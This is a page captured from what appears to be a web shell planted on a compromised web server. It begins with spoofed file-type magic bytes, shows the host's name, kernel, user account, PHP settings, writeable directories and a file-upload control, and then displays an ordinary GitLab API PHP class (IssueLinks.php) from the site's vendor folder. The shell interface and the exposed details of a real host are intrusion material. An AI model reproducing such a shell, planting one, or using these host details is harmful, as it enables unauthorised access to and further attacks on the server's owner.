%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/m4tthumphrey/php-gitlab-api/src/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/m4tthumphrey/php-gitlab-api/src/Api/IssueLinks.php
<?php

declare(strict_types=1);

/*
 * This file is part of the Gitlab API library.
 *
 * (c) Matt Humphrey <matth@windsor-telecom.co.uk>
 * (c) Graham Campbell <hello@gjcampbell.co.uk>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Gitlab\Api;

class IssueLinks extends AbstractApi
{
    /**
     * @param int|string $project_id
     * @param int        $issue_iid
     *
     * @return mixed
     */
    public function all($project_id, int $issue_iid)
    {
        return $this->get($this->getProjectPath($project_id, 'issues/'.self::encodePath($issue_iid)).'/links');
    }

    /**
     * @param int|string $project_id
     * @param int        $issue_iid
     * @param int|string $target_project_id
     * @param int        $target_issue_iid
     * @param array      $parameters        {
     *
     *     @var string $link_type
     * }
     *
     * @return mixed
     */
    public function create($project_id, int $issue_iid, $target_project_id, int $target_issue_iid, array $parameters = [])
    {
        $parameters['target_project_id'] = $target_project_id;
        $parameters['target_issue_iid'] = $target_issue_iid;

        return $this->post($this->getProjectPath($project_id, 'issues/'.self::encodePath($issue_iid).'/links'), $parameters);
    }

    /**
     * @param int|string $project_id
     * @param int        $issue_iid
     * @param int|string $issue_link_id
     * @param array      $parameters    {
     *
     *     @var string $link_type
     * }
     *
     * @return mixed
     */
    public function remove($project_id, int $issue_iid, $issue_link_id, array $parameters = [])
    {
        return $this->delete($this->getProjectPath($project_id, 'issues/'.self::encodePath($issue_iid)).'/links/'.self::encodePath($issue_link_id), $parameters);
    }
}

VaKeR 2022